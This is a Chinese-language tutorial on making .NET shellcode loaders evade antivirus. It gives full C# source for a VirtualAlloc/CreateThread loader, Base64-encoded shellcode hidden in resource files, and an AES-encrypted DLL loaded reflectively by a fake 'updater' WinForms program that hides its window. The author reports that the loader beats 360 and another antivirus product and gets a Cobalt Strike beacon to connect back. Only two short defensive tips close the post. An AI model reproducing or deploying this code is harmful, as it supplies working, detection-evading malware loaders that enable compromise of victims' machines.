.NET简单分离免杀加载Shellcode
传统C#加载Shellcode
using System;using System.Collections.Generic;using System.Linq;using System.Runtime.InteropServices;using System.Text; namespace TestShellCode{ internal class Program { static void Main(string[] args) { byte[] shellcode = {shellcode}; UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); [DllImport("kernel32")] private static extern bool CloseHandle(IntPtr handle); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds); [DllImport("kernel32")] private static extern IntPtr GetModuleHandle( string moduleName); [DllImport("kernel32")] private static extern UInt32 GetProcAddress( IntPtr hModule, string procName); [DllImport("kernel32")] private static extern UInt32 LoadLibrary( string lpFileName); [DllImport("kernel32")] private static extern UInt32 GetLastError(); } }
这里我们shellcode生成的32位的,所以.net编译也选择编译生成x86的exe,编译完成,可以cs正常上线。
杀毒测试,两款杀毒软件都报毒。
免杀思路
1、 简单免杀
将shellcode采用aes、base64等方式进行加密。
2、 分离shell
将shellcode进行aes、base64等方式编码和加密后在存放到资源文件中,程序运行后从资源文件中加载shellcode。
3、 分离shellcode加载器
将shellcode进行aes、base64等方式编码和加密后在存放到资源文件中,程序运行后从资源文件中加载shellcode,同时将此功能封装为dll程序。
4、 采取类似冰蝎动态Assembly加载方式加载dll程序
免杀操作
1、 创建shellcode加载器,生成dll。
首先将shell进行Base64编码存放在资源文件config.txt文件中。注意此资源文件可放在外部exe加载器中(namespace需要一致)。
using System;using System.Collections.Generic;using System.Linq;using System.Reflection;using System.Resources;using System.Runtime.InteropServices;using System.Text;using System.Threading; namespace bypass360{ public class Loader { public override bool Equals(object obj) { Thread t = new Thread(test); t.Start(); return true; } public void test() { Assembly myAssem = Assembly.GetEntryAssembly(); ResourceManager rm = new ResourceManager("bypass360.Properties.Resources", myAssem);//资源文件中读取shellcode加载 string config = rm.GetString("config32"); byte[] shellcode = Convert.FromBase64String(config); UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); [DllImport("kernel32")] private static extern bool CloseHandle(IntPtr handle); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds); [DllImport("kernel32")] private static extern IntPtr GetModuleHandle( string moduleName); [DllImport("kernel32")] private static extern UInt32 GetProcAddress( IntPtr hModule, string procName); [DllImport("kernel32")] private static extern UInt32 LoadLibrary( string lpFileName); [DllImport("kernel32")] private static extern UInt32 GetLastError(); }}
编译完成shellcode加载器,一个已经过了,另一个还是报毒。
继续分离动态加载,将Loader加载器aes加密生成Base64编码的文件,存放在资源文件中。
创建一个外部加载器,这里我模拟的是一个更新程序,创建了一个winform项目,一个进度条自动加载几秒后隐藏窗体,同时后台冰蝎动态Assembly加
载方式从资源文件中加载加密好的Loader的dll程序,并实例化对应的加载器类,调用Equals加载shellcode。
using System;using System.Windows.Forms;using System.Runtime.InteropServices;using System.Resources;using System.Reflection;using System.Threading;using System.IO;using System.Security.Cryptography;using System.Text; namespace bypass360{ public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void Form1_Shown(object sender, EventArgs e) { this.timer1.Start(); test(); } public void test() { //从资源文件中读取加密shellcode Loader,加载shellcode Assembly myAssem = Assembly.GetEntryAssembly(); ResourceManager rm = new ResourceManager("bypass360.Properties.Resources", myAssem); string config = rm.GetString("dll32"); //Base64解码 byte[] data = Convert.FromBase64String(config); //Aes解密还原程序集 byte[] key = Encoding.Default.GetBytes("1234567887654321"); byte[] cdata = new RijndaelManaged().CreateDecryptor(key, key).TransformFinalBlock(data, 0, data.Length); //Assembly动态加载程序集并实例化加载器调用Equals方法执行Shellcode Assembly assembly = typeof(Environment).Assembly; Assembly.Load(cdata).CreateInstance("bypass360.Loader").Equals(""); } private void button1_Click(object sender, EventArgs e) { this.Hide(); } int p = 0; private void timer1_Tick(object sender, EventArgs e) { p++; if (p >= 3) { this.Hide(); } } } }
由于这里shellcode是32位所以Loader dll和当前的exe加载器我们都编译成x86,32位程序,如果是64位shellcode就全编译为64位程序。
编译后测试,两款杀毒软件均未检出。
运行测试,成功上线,无拦截:
不完美的事,就是在webshell下面执行时,360主动防护对于后台进程执行程序管理较为严格,只能采取其他措施在webshell下运行了。
防御方式
1、建议杀毒软件更新检测机制,对关键函数执行加强检测。
2、对于用户来说,不能抱着部署了杀软软件就“万无一失”的心态开展防护工作,还是要通过APT、WAF、日志分析等其他综合手段开展防护工作
